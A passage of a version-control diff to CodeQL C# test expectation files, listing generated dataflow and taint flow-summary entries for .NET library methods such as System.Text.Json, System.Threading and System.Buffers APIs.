System.Text.Json.Nodes;JsonNode;ToJsonString;(System.Text.Json.JsonSerializerOptions);summary;df-generated | | System.Text.Json.Nodes;JsonNode;WriteTo;(System.Text.Json.Utf8JsonWriter,System.Text.Json.JsonSerializerOptions);summary;df-generated | @@ -53627,6 +53545,8 @@ neutral | System.Text.Json;JsonDocument;Parse;(System.ReadOnlyMemory,System.Text.Json.JsonDocumentOptions);summary;df-generated | | System.Text.Json;JsonDocument;Parse;(System.String,System.Text.Json.JsonDocumentOptions);summary;df-generated | | System.Text.Json;JsonDocument;ParseAsync;(System.IO.Stream,System.Text.Json.JsonDocumentOptions,System.Threading.CancellationToken);summary;df-generated | +| System.Text.Json;JsonDocument;ParseValue;(System.Text.Json.Utf8JsonReader);summary;df-generated | +| System.Text.Json;JsonDocument;TryParseValue;(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonDocument);summary;df-generated | | System.Text.Json;JsonDocument;WriteTo;(System.Text.Json.Utf8JsonWriter);summary;df-generated | | System.Text.Json;JsonElement+ArrayEnumerator;Dispose;();summary;df-generated | | System.Text.Json;JsonElement+ArrayEnumerator;MoveNext;();summary;df-generated | @@ -53657,6 +53577,7 @@ neutral | System.Text.Json;JsonElement;GetUInt16;();summary;df-generated | | System.Text.Json;JsonElement;GetUInt32;();summary;df-generated | | System.Text.Json;JsonElement;GetUInt64;();summary;df-generated | +| System.Text.Json;JsonElement;ParseValue;(System.Text.Json.Utf8JsonReader);summary;df-generated | | System.Text.Json;JsonElement;ToString;();summary;df-generated | | System.Text.Json;JsonElement;TryGetByte;(System.Byte);summary;df-generated | | System.Text.Json;JsonElement;TryGetBytesFromBase64;(System.Byte[]);summary;df-generated | @@ -53673,6 +53594,7 @@ neutral | System.Text.Json;JsonElement;TryGetUInt16;(System.UInt16);summary;df-generated | | System.Text.Json;JsonElement;TryGetUInt32;(System.UInt32);summary;df-generated | | System.Text.Json;JsonElement;TryGetUInt64;(System.UInt64);summary;df-generated | +| System.Text.Json;JsonElement;TryParseValue;(System.Text.Json.Utf8JsonReader,System.Nullable);summary;df-generated | | System.Text.Json;JsonElement;ValueEquals;(System.ReadOnlySpan);summary;df-generated | | System.Text.Json;JsonElement;ValueEquals;(System.ReadOnlySpan);summary;df-generated | | System.Text.Json;JsonElement;ValueEquals;(System.String);summary;df-generated | @@ -53717,6 +53639,9 @@ neutral | System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Nodes.JsonNode,System.Text.Json.Serialization.Metadata.JsonTypeInfo);summary;df-generated | | System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Nodes.JsonNode,System.Type,System.Text.Json.JsonSerializerOptions);summary;df-generated | | System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Nodes.JsonNode,System.Type,System.Text.Json.Serialization.JsonSerializerContext);summary;df-generated | +| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo);summary;df-generated | +| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions);summary;df-generated | +| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.Serialization.JsonSerializerContext);summary;df-generated | | System.Text.Json;JsonSerializer;Deserialize;(System.IO.Stream,System.Text.Json.JsonSerializerOptions);summary;df-generated | | System.Text.Json;JsonSerializer;Deserialize;(System.IO.Stream,System.Text.Json.Serialization.Metadata.JsonTypeInfo);summary;df-generated | | System.Text.Json;JsonSerializer;Deserialize;(System.ReadOnlySpan,System.Text.Json.JsonSerializerOptions);summary;df-generated | @@ -53731,6 +53656,8 @@ neutral | System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.JsonElement,System.Text.Json.Serialization.Metadata.JsonTypeInfo);summary;df-generated | | System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Nodes.JsonNode,System.Text.Json.JsonSerializerOptions);summary;df-generated | | System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Nodes.JsonNode,System.Text.Json.Serialization.Metadata.JsonTypeInfo);summary;df-generated | +| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonSerializerOptions);summary;df-generated | +| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo);summary;df-generated | | System.Text.Json;JsonSerializer;DeserializeAsync;(System.IO.Stream,System.Text.Json.Serialization.Metadata.JsonTypeInfo,System.Threading.CancellationToken);summary;df-generated | | System.Text.Json;JsonSerializer;DeserializeAsync;(System.IO.Stream,System.Type,System.Text.Json.JsonSerializerOptions,System.Threading.CancellationToken);summary;df-generated | | System.Text.Json;JsonSerializer;DeserializeAsync;(System.IO.Stream,System.Type,System.Text.Json.Serialization.JsonSerializerContext,System.Threading.CancellationToken);summary;df-generated | @@ -54238,6 +54165,8 @@ neutral | System.Text.Unicode;Utf8;FromUtf16;(System.ReadOnlySpan,System.Span,System.Int32,System.Int32,System.Boolean,System.Boolean);summary;df-generated | | System.Text.Unicode;Utf8;IsValid;(System.ReadOnlySpan);summary;df-generated | | System.Text.Unicode;Utf8;ToUtf16;(System.ReadOnlySpan,System.Span,System.Int32,System.Int32,System.Boolean,System.Boolean);summary;df-generated | +| System.Text.Unicode;Utf8;TryWrite;(System.Span,System.IFormatProvider,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32);summary;df-generated | +| System.Text.Unicode;Utf8;TryWrite;(System.Span,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32);summary;df-generated | | System.Text;ASCIIEncoding;GetByteCount;(System.Char*,System.Int32);summary;df-generated | | System.Text;ASCIIEncoding;GetByteCount;(System.Char[],System.Int32,System.Int32);summary;df-generated | | System.Text;ASCIIEncoding;GetByteCount;(System.ReadOnlySpan);summary;df-generated | @@ -55170,12 +55099,15 @@ neutral | System.Threading;Interlocked;CompareExchange;(System.Int16,System.Int16,System.Int16);summary;df-generated | | System.Threading;Interlocked;CompareExchange;(System.Int32,System.Int32,System.Int32);summary;df-generated | | System.Threading;Interlocked;CompareExchange;(System.Int64,System.Int64,System.Int64);summary;df-generated | +| System.Threading;Interlocked;CompareExchange;(System.IntPtr,System.IntPtr,System.IntPtr);summary;df-generated | | System.Threading;Interlocked;CompareExchange;(System.Object,System.Object,System.Object);summary;df-generated | | System.Threading;Interlocked;CompareExchange;(System.SByte,System.SByte,System.SByte);summary;df-generated | | System.Threading;Interlocked;CompareExchange;(System.Single,System.Single,System.Single);summary;df-generated | | System.Threading;Interlocked;CompareExchange;(System.UInt16,System.UInt16,System.UInt16);summary;df-generated | | System.Threading;Interlocked;CompareExchange;(System.UInt32,System.UInt32,System.UInt32);summary;df-generated | | System.Threading;Interlocked;CompareExchange;(System.UInt64,System.UInt64,System.UInt64);summary;df-generated | +| System.Threading;Interlocked;CompareExchange;(System.UIntPtr,System.UIntPtr,System.UIntPtr);summary;df-generated | +| System.Threading;Interlocked;CompareExchange;(T,T,T);summary;df-generated | | System.Threading;Interlocked;Decrement;(System.Int32);summary;df-generated | | System.Threading;Interlocked;Decrement;(System.Int64);summary;df-generated | | System.Threading;Interlocked;Decrement;(System.UInt32);summary;df-generated | @@ -55185,12 +55117,15 @@ neutral | System.Threading;Interlocked;Exchange;(System.Int16,System.Int16);summary;df-generated | | System.Threading;Interlocked;Exchange;(System.Int32,System.Int32);summary;df-generated | | System.Threading;Interlocked;Exchange;(System.Int64,System.Int64);summary;df-generated | +| System.Threading;Interlocked;Exchange;(System.IntPtr,System.IntPtr);summary;df-generated | | System.Threading;Interlocked;Exchange;(System.Object,System.Object);summary;df-generated | | System.Threading;Interlocked;Exchange;(System.SByte,System.SByte);summary;df-generated | | System.Threading;Interlocked;Exchange;(System.Single,System.Single);summary;df-generated | | System.Threading;Interlocked;Exchange;(System.UInt16,System.UInt16);summary;df-generated | | System.Threading;Interlocked;Exchange;(System.UInt32,System.UInt32);summary;df-generated | | System.Threading;Interlocked;Exchange;(System.UInt64,System.UInt64);summary;df-generated | +| System.Threading;Interlocked;Exchange;(System.UIntPtr,System.UIntPtr);summary;df-generated | +| System.Threading;Interlocked;Exchange;(T,T);summary;df-generated | | System.Threading;Interlocked;Increment;(System.Int32);summary;df-generated | | System.Threading;Interlocked;Increment;(System.Int64);summary;df-generated | | System.Threading;Interlocked;Increment;(System.UInt32);summary;df-generated | @@ -55254,6 +55189,7 @@ neutral | System.Threading;Mutex;Mutex;(System.Boolean,System.String,System.Boolean);summary;df-generated | | System.Threading;Mutex;OpenExisting;(System.String);summary;df-generated | | System.Threading;Mutex;ReleaseMutex;();summary;df-generated | +| System.Threading;Mutex;TryOpenExisting;(System.String,System.Threading.Mutex);summary;df-generated | | System.Threading;Overlapped;Free;(System.Threading.NativeOverlapped*);summary;df-generated | | System.Threading;Overlapped;Overlapped;(System.Int32,System.Int32,System.Int32,System.IAsyncResult);summary;df-generated | | System.Threading;Overlapped;Pack;(System.Threading.IOCompletionCallback);summary;df-generated | @@ -55270,9 +55206,11 @@ neutral | System.Threading;ReaderWriterLock;AcquireWriterLock;(System.Int32);summary;df-generated | | System.Threading;ReaderWriterLock;AcquireWriterLock;(System.TimeSpan);summary;df-generated | | System.Threading;ReaderWriterLock;AnyWritersSince;(System.Int32);summary;df-generated | +| System.Threading;ReaderWriterLock;DowngradeFromWriterLock;(System.Threading.LockCookie);summary;df-generated | | System.Threading;ReaderWriterLock;ReleaseLock;();summary;df-generated | | System.Threading;ReaderWriterLock;ReleaseReaderLock;();summary;df-generated | | System.Threading;ReaderWriterLock;ReleaseWriterLock;();summary;df-generated | +| System.Threading;ReaderWriterLock;RestoreLock;(System.Threading.LockCookie);summary;df-generated | | System.Threading;ReaderWriterLock;UpgradeToWriterLock;(System.Int32);summary;df-generated | | System.Threading;ReaderWriterLock;UpgradeToWriterLock;(System.TimeSpan);summary;df-generated | | System.Threading;ReaderWriterLock;get_IsReaderLockHeld;();summary;df-generated | @@ -55400,21 +55338,27 @@ neutral | System.Threading;Thread;VolatileRead;(System.Int16);summary;df-generated | | System.Threading;Thread;VolatileRead;(System.Int32);summary;df-generated | | System.Threading;Thread;VolatileRead;(System.Int64);summary;df-generated | +| System.Threading;Thread;VolatileRead;(System.IntPtr);summary;df-generated | +| System.Threading;Thread;VolatileRead;(System.Object);summary;df-generated | | System.Threading;Thread;VolatileRead;(System.SByte);summary;df-generated | | System.Threading;Thread;VolatileRead;(System.Single);summary;df-generated | | System.Threading;Thread;VolatileRead;(System.UInt16);summary;df-generated | | System.Threading;Thread;VolatileRead;(System.UInt32);summary;df-generated | | System.Threading;Thread;VolatileRead;(System.UInt64);summary;df-generated | +| System.Threading;Thread;VolatileRead;(System.UIntPtr);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.Byte,System.Byte);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.Double,System.Double);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.Int16,System.Int16);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.Int32,System.Int32);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.Int64,System.Int64);summary;df-generated | +| System.Threading;Thread;VolatileWrite;(System.IntPtr,System.IntPtr);summary;df-generated | +| System.Threading;Thread;VolatileWrite;(System.Object,System.Object);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.SByte,System.SByte);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.Single,System.Single);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.UInt16,System.UInt16);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.UInt32,System.UInt32);summary;df-generated | | System.Threading;Thread;VolatileWrite;(System.UInt64,System.UInt64);summary;df-generated | +| System.Threading;Thread;VolatileWrite;(System.UIntPtr,System.UIntPtr);summary;df-generated | | System.Threading;Thread;Yield;();summary;df-generated | | System.Threading;Thread;get_CurrentThread;();summary;df-generated | | System.Threading;Thread;get_ExecutionContext;();summary;df-generated | @@ -55498,11 +55442,14 @@ neutral | System.Threading;Volatile;Write;(System.Int16,System.Int16);summary;df-generated | | System.Threading;Volatile;Write;(System.Int32,System.Int32);summary;df-generated | | System.Threading;Volatile;Write;(System.Int64,System.Int64);summary;df-generated | +| System.Threading;Volatile;Write;(System.IntPtr,System.IntPtr);summary;df-generated | | System.Threading;Volatile;Write;(System.SByte,System.SByte);summary;df-generated | | System.Threading;Volatile;Write;(System.Single,System.Single);summary;df-generated | | System.Threading;Volatile;Write;(System.UInt16,System.UInt16);summary;df-generated | | System.Threading;Volatile;Write;(System.UInt32,System.UInt32);summary;df-generated | | System.Threading;Volatile;Write;(System.UInt64,System.UInt64);summary;df-generated | +| System.Threading;Volatile;Write;(System.UIntPtr,System.UIntPtr);summary;df-generated | +| System.Threading;Volatile;Write;(T,T);summary;df-generated | | System.Threading;WaitHandle;Close;();summary;df-generated | | System.Threading;WaitHandle;Dispose;();summary;df-generated | | System.Threading;WaitHandle;Dispose;(System.Boolean);summary;df-generated | @@ -57011,6 +56958,7 @@ neutral | System;Array;LastIndexOf;(T[],T,System.Int32,System.Int32);summary;df-generated | | System;Array;Remove;(System.Object);summary;df-generated | | System;Array;RemoveAt;(System.Int32);summary;df-generated | +| System;Array;Resize;(T[],System.Int32);summary;df-generated | | System;Array;SetValue;(System.Object,System.Int32);summary;df-generated | | System;Array;SetValue;(System.Object,System.Int32,System.Int32);summary;df-generated | | System;Array;SetValue;(System.Object,System.Int32,System.Int32,System.Int32);summary;df-generated | @@ -59655,8 +59603,10 @@ neutral | System;MemoryExtensions;ToLowerInvariant;(System.ReadOnlySpan,System.Span);summary;df-generated | | System;MemoryExtensions;ToUpper;(System.ReadOnlySpan,System.Span,System.Globalization.CultureInfo);summary;df-generated | | System;MemoryExtensions;ToUpperInvariant;(System.ReadOnlySpan,System.Span);summary;df-generated | +| System;MemoryExtensions;TryWrite;(System.Span,System.IFormatProvider,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32);summary;df-generated | | System;MemoryExtensions;TryWrite;(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,System.Object[]);summary;df-generated | | System;MemoryExtensions;TryWrite;(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,System.ReadOnlySpan);summary;df-generated | +| System;MemoryExtensions;TryWrite;(System.Span,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32);summary;df-generated | | System;MemoryExtensions;TryWrite;(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,TArg0,TArg1,TArg2);summary;df-generated | | System;MemoryExtensions;TryWrite;(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,TArg0,TArg1);summary;df-generated | | System;MemoryExtensions;TryWrite;(System.Span,System.IFormatProvider,System.Text.CompositeFormat,System.Int32,TArg0);summary;df-generated | @@ -60188,6 +60138,8 @@ neutral | System;String;Contains;(System.String,System.StringComparison);summary;df-generated | | System;String;CopyTo;(System.Int32,System.Char[],System.Int32,System.Int32);summary;df-generated | | System;String;CopyTo;(System.Span);summary;df-generated | +| System;String;Create;(System.IFormatProvider,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler);summary;df-generated | +| System;String;Create;(System.IFormatProvider,System.Span,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler);summary;df-generated | | System;String;EndsWith;(System.Char);summary;df-generated | | System;String;EndsWith;(System.String);summary;df-generated | | System;String;EndsWith;(System.String,System.Boolean,System.Globalization.CultureInfo);summary;df-generated | @@ -61408,8 +61360,6 @@ neutral | System;Uri;op_Inequality;(System.Uri,System.Uri);summary;df-generated | | System;UriBuilder;Equals;(System.Object);summary;df-generated | | System;UriBuilder;GetHashCode;();summary;df-generated | -| System;UriBuilder;ToString;();summary;df-generated | -| System;UriBuilder;UriBuilder;(System.String,System.String,System.Int32);summary;df-generated | | System;UriFormatException;UriFormatException;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);summary;df-generated | | System;UriFormatException;UriFormatException;(System.String);summary;df-generated | | System;UriFormatException;UriFormatException;(System.String,System.Exception);summary;df-generated | diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected index f5b48a00292..08b3588b494 100644 --- a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected +++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected @@ -777,7 +777,7 @@ | Microsoft.Extensions.Configuration;ChainedBuilderExtensions;AddConfiguration;(Microsoft.Extensions.Configuration.IConfigurationBuilder,Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Configuration;ChainedBuilderExtensions;AddConfiguration;(Microsoft.Extensions.Configuration.IConfigurationBuilder,Microsoft.Extensions.Configuration.IConfiguration,System.Boolean);Argument[0];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Configuration;ChainedConfigurationProvider;ChainedConfigurationProvider;(Microsoft.Extensions.Configuration.ChainedConfigurationSource);Argument[0].Property[Microsoft.Extensions.Configuration.ChainedConfigurationSource.Configuration];Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config];value;dfc-generated | -| Microsoft.Extensions.Configuration;ChainedConfigurationProvider;TryGet;(System.String,System.String);Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config];ReturnValue;taint;dfc-generated | +| Microsoft.Extensions.Configuration;ChainedConfigurationProvider;TryGet;(System.String,System.String);Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config];Argument[1];taint;dfc-generated | | Microsoft.Extensions.Configuration;ChainedConfigurationProvider;get_Configuration;();Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.Action);Argument[1];Argument[0];taint;manual | | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;manual | @@ -1441,7 +1441,7 @@ | Microsoft.Extensions.Diagnostics.HealthChecks;HealthCheckRegistration;set_Factory;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Diagnostics.HealthChecks;HealthCheckService;CheckHealthAsync;(System.Func,System.Threading.CancellationToken);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Diagnostics.Metrics;IMetricsListener;Initialize;(Microsoft.Extensions.Diagnostics.Metrics.IObservableInstrumentsSource);Argument[0];Argument[this];taint;df-generated | -| Microsoft.Extensions.Diagnostics.Metrics;IMetricsListener;InstrumentPublished;(System.Diagnostics.Metrics.Instrument,System.Object);Argument[this];ReturnValue;value;dfc-generated | +| Microsoft.Extensions.Diagnostics.Metrics;IMetricsListener;InstrumentPublished;(System.Diagnostics.Metrics.Instrument,System.Object);Argument[this];Argument[1];value;dfc-generated | | Microsoft.Extensions.Diagnostics.Metrics;MeasurementHandlers;set_ByteHandler;(System.Diagnostics.Metrics.MeasurementCallback);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Diagnostics.Metrics;MeasurementHandlers;set_DecimalHandler;(System.Diagnostics.Metrics.MeasurementCallback);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Diagnostics.Metrics;MeasurementHandlers;set_DoubleHandler;(System.Diagnostics.Metrics.MeasurementCallback);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -2238,14 +2238,13 @@ | Microsoft.Extensions.Primitives;StringSegment;ToString;();Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Buffer];ReturnValue;taint;dfc-generated | | Microsoft.Extensions.Primitives;StringSegment;ToString;();Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Value];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Primitives;StringSegment;get_Value;();Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Buffer];ReturnValue;taint;dfc-generated | -| Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;Enumerator;(Microsoft.Extensions.Primitives.StringTokenizer);Argument[0];ReturnValue;value;dfc-generated | +| Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;Enumerator;(Microsoft.Extensions.Primitives.StringTokenizer);Argument[0].Element;Argument[this];taint;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;get_Current;();Argument[this].Property[Microsoft.Extensions.Primitives.StringTokenizer+Enumerator.Current];ReturnValue;value;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;get_Current;();Argument[this].Property[Microsoft.Extensions.Primitives.StringTokenizer+Enumerator.Current];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Primitives;StringTokenizer;GetEnumerator;();Argument[this];ReturnValue;taint;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer;StringTokenizer;(Microsoft.Extensions.Primitives.StringSegment,System.Char[]);Argument[0];Argument[this];taint;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer;StringTokenizer;(Microsoft.Extensions.Primitives.StringSegment,System.Char[]);Argument[1].Element;Argument[this];taint;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer;StringTokenizer;(System.String,System.Char[]);Argument[1].Element;Argument[this];taint;df-generated | -| Microsoft.Extensions.Primitives;StringValues+Enumerator;Enumerator;(Microsoft.Extensions.Primitives.StringValues);Argument[0];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Primitives;StringValues+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | Microsoft.Extensions.Primitives;StringValues;Add;(System.String);Argument[0];ReturnValue;taint;manual | | Microsoft.Extensions.Primitives;StringValues;Add;(System.String);Argument[this];ReturnValue;taint;manual | @@ -2301,18 +2300,11 @@ | Microsoft.Extensions.Primitives;StringValues;set_Item;(System.Int32,System.String);Argument[0];ReturnValue;taint;manual | | Microsoft.Extensions.Primitives;StringValues;set_Item;(System.Int32,System.String);Argument[1];ReturnValue;taint;manual | | Microsoft.Extensions.Primitives;StringValues;set_Item;(System.Int32,System.String);Argument[this];ReturnValue;taint;manual | -| Microsoft.VisualBasic.CompilerServices;StringType;MidStmtStr;(System.String,System.Int32,System.Int32,System.String);Argument[0];ReturnValue;value;dfc-generated | | Microsoft.VisualBasic;Collection;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | | Microsoft.VisualBasic;Collection;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | Microsoft.VisualBasic;Collection;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | Microsoft.VisualBasic;Collection;get_Item;(System.Object);Argument[this].Element;ReturnValue;value;manual | | Microsoft.VisualBasic;Collection;get_Item;(System.String);Argument[this].Element;ReturnValue;value;manual | -| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Array,System.Int64,System.Boolean,System.Boolean);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.String,System.Int64,System.Boolean);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.ValueType,System.Int64);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;FileGetObject;(System.Int32,System.Object,System.Int64);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.Object);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.String);Argument[1];ReturnValue;value;dfc-generated | | Microsoft.VisualBasic;VBCodeProvider;VBCodeProvider;(System.Collections.Generic.IDictionary);Argument[0].Element;Argument[this];taint;df-generated | | Microsoft.Win32.SafeHandles;SafeFileHandle;SafeFileHandle;(System.IntPtr,System.Boolean);Argument[0];Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle];value;dfc-generated | | Microsoft.Win32.SafeHandles;SafeWaitHandle;SafeWaitHandle;(System.IntPtr,System.Boolean);Argument[0];Argument[this].Field[System.Runtime.InteropServices.SafeHandle.handle];value;dfc-generated | @@ -3783,7 +3775,7 @@ | ServiceStack.Text;MemoryProvider;Deserialize;(System.IO.Stream,System.Type,ServiceStack.Text.Common.DeserializeStringSpanDelegate);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | ServiceStack.Text;MemoryProvider;DeserializeAsync;(System.IO.Stream,System.Type,ServiceStack.Text.Common.DeserializeStringSpanDelegate);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | ServiceStack.Text;RecyclableMemoryStream;GetBuffer;();Argument[this];ReturnValue;taint;df-generated | -| ServiceStack.Text;RecyclableMemoryStream;TryGetBuffer;(System.ArraySegment);Argument[this];ReturnValue;taint;df-generated | +| ServiceStack.Text;RecyclableMemoryStream;TryGetBuffer;(System.ArraySegment);Argument[this];Argument[0].Element;taint;df-generated | | ServiceStack.Text;RecyclableMemoryStream;WriteTo;(System.IO.Stream);Argument[this];Argument[0];taint;df-generated | | ServiceStack.Text;RecyclableMemoryStreamManager+EventHandler;BeginInvoke;(System.AsyncCallback,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | ServiceStack.Text;RecyclableMemoryStreamManager+LargeBufferDiscardedEventHandler;BeginInvoke;(ServiceStack.Text.RecyclableMemoryStreamManager+Events+MemoryStreamDiscardReason,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -4484,7 +4476,6 @@ | System.Buffers;ReadOnlySequence;Slice;(System.SequencePosition,System.Int64);Argument[0];ReturnValue;taint;df-generated | | System.Buffers;ReadOnlySequence;Slice;(System.SequencePosition,System.SequencePosition);Argument[0];ReturnValue;taint;df-generated | | System.Buffers;ReadOnlySequence;Slice;(System.SequencePosition,System.SequencePosition);Argument[1];ReturnValue;taint;df-generated | -| System.Buffers;ReadOnlySequence;TryGet;(System.SequencePosition,System.ReadOnlyMemory,System.Boolean);Argument[0];ReturnValue;value;dfc-generated | | System.Buffers;ReadOnlySequence;get_FirstSpan;();Argument[this];ReturnValue;taint;df-generated | | System.Buffers;ReadOnlySpanAction;BeginInvoke;(System.ReadOnlySpan,TArg,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Buffers;SearchValues;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | @@ -4492,30 +4483,24 @@ | System.Buffers;SequenceReader;SequenceReader;(System.Buffers.ReadOnlySequence);Argument[0];Argument[this].Property[System.Buffers.SequenceReader`1.Sequence];value;dfc-generated | | System.Buffers;SequenceReader;TryCopyTo;(System.Span);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | | System.Buffers;SequenceReader;TryCopyTo;(System.Span);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryPeek;(System.Int64,T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReader;TryPeek;(T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReader;TryRead;(T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadExact;(System.Int32,System.Buffers.ReadOnlySequence);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,T,System.Boolean);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,T,T,System.Boolean);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;ReturnValue.Element;value;dfc-generated | -| 